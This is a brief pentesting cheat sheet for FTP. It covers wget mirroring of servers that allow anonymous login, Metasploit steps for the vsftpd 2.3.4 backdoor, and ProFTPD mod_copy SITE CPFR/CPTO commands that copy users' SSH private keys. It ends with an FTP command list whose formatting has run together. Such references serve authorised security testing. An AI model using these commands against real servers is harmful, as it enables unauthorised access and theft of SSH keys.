21 - Pentesting ftp
FTP stands for "File Transfer Protocol". It's a standard network protocol used for transferring files from one host to another over a TCP-based network, such as the Internet. FTP is commonly used for uploading and downloading files from websites, servers, and other computers.
nmap
anonymous login
wget download directory
wget -r ftp://anonymous@$IP/Logs # download directory
wget -m ftp://anonymous:anonymous@$IP # donwload all
wget -m --no-passive ftp://anonymous:anonymous@$IP # download all
exploit
proFtpd 1.3.5
vsFtpd 2.3.4
msf> use exploit/unix/ftp/vsftpd\_234\_backdoor
msf> show options
msf> set RHOST 192.168.0.101
msf> show options
msf> exploit
commands
SITE CPFR /home/{TARGT_USER}/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
SITE CPFR /home/{TARGT_USER}/.ssh/id_rsa.pub
SITE CPTO /var/tmp/id_rsa.pub
USER usernamePASS passwordHELPThe server indicates which commands are supportedLISTThis will send the list of files in current folderLIST -RList recursively (if allowed by the server)APPE /path/something.txtThis will indicate the FTP to store the data received from a passive connection or from a PORT/EPRT connection to a file. If the filename exists, it will append the data.STOR /path/something.txtLikeAPPEbut it will overwrite the filesSTOU /path/something.txtLikeAPPE, but if exists it won't do anything.RETR /path/to/fileA passive or a port connection must be establish. Then, the FTP server will send the indicated file through that connectionREST 6This will indicate the server that next time it send something using RETR it should start in the 6th byte.TYPE iSet transfer to binaryPASVThis will open a passive connection and will indicate the user were he can connectsPUT /tmp/file.txtUpload indicated file to the FTP